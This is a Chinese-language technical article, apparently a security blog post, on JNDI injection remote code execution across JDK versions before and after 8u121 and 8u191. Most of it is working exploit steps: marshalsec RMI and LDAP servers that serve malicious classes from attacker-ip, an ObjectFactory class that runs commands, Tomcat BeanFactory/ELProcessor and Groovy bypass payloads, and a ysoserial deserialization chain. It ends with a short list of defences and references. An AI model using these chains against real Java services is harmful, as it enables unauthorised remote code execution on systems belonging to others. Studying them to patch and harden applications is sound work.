8u191后的JNDI注入利用
字数 1118 2025-08-05 08:19:35
JNDI注入利用技术详解(8u191版本前后对比)
一、JNDI注入基础概念
JNDI (Java Naming and Directory Interface) 是Java提供的用于访问命名和目录服务的API。攻击者可以利用JNDI的动态类加载机制,通过恶意的命名服务引用远程代码,实现远程代码执行(RCE)。
二、不同JDK版本的利用方式
1. JDK 8u121之前版本
利用方式:RMI + JNDI Reference
限制版本:JDK 6u132、7u122、8u121以下(不包括8u121)
利用步骤:
- 使用marshalsec工具发布RMI服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://attacker-ip:8000/#Evail
原理:这些版本默认允许从远程Codebase加载Reference工厂类(com.sun.jndi.rmi.object.trustURLCodebase=true)
2. JDK 8u121至8u191版本
利用方式:LDAP + JNDI Reference
限制版本:8u191(包括8u191)之前版本
利用步骤:
-
创建恶意类实现ObjectFactory接口:
public class Evail implements ObjectFactory { public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { Runtime.getRuntime().exec("gnome-calculator"); return null; } } -
编译并发布恶意类:
javac Evail.java python -m http.server 8000 -
启动LDAP服务(使用marshalsec):
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://attacker-ip:8000/#Evail 9999 -
受害者执行:
Context ctx = new InitialContext(); ctx.lookup("ldap://attacker-ip:9999/Evail");
3. JDK 8u191之后版本
3.1 RMI绕过方式
利用前提:目标机器有Tomcat8+环境(包含org.apache.naming.factory.BeanFactory和javax.el.ELProcessor类)
利用步骤:
-
攻击者启动RMI服务:
Registry registry = LocateRegistry.createRegistry(1099); ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); resourceRef.add(new StringRefAddr("forceString", "a=eval")); resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"gnome-calculator\")")); ReferenceWrapper refObjWrapper = new ReferenceWrapper(resourceRef); registry.bind("exp", refObjWrapper); -
受害者执行:
Context ctx = new InitialContext(); ctx.lookup("rmi://attacker-ip:1099/exp");
适用版本:测试通过8u102、8u121、8u191、8u202等版本
3.2 Groovy依赖方式
方式一:依赖Groovy 2+版本
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=parseClass"));
String script = "@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"gnome-calculator\")}) def x";
ref.add(new StringRefAddr("x",script));
方式二:任意Groovy版本
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=evaluate"));
String script = "'gnome-calculator'.execute()";
ref.add(new StringRefAddr("x",script));
3.3 LDAP绕过方式(反序列化)
利用前提:目标存在可利用的反序列化链(如CommonsCollections)
利用步骤:
-
生成反序列化payload:
java -jar ysoserial.jar CommonsCollections5 gnome-calculator > poc.txt -
转换为Base64编码
-
启动LDAP服务:
e.addAttribute("javaSerializedData", Base64.decode("base64编码的payload"));
三、防御措施
- 升级JDK到最新版本
- 设置JVM参数禁止远程类加载:
-Dcom.sun.jndi.rmi.object.trustURLCodebase=false -Dcom.sun.jndi.cosnaming.object.trustURLCodebase=false -Dcom.sun.jndi.ldap.object.trustURLCodebase=false - 避免使用不可信的JNDI查找
- 移除不必要的危险依赖(如Groovy、ELProcessor等)
四、参考链接
- https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
- https://bl4ck.in/tricks/2019/01/04/JNDI-Injection-Bypass.html
- https://www.freebuf.com/vuls/253545.html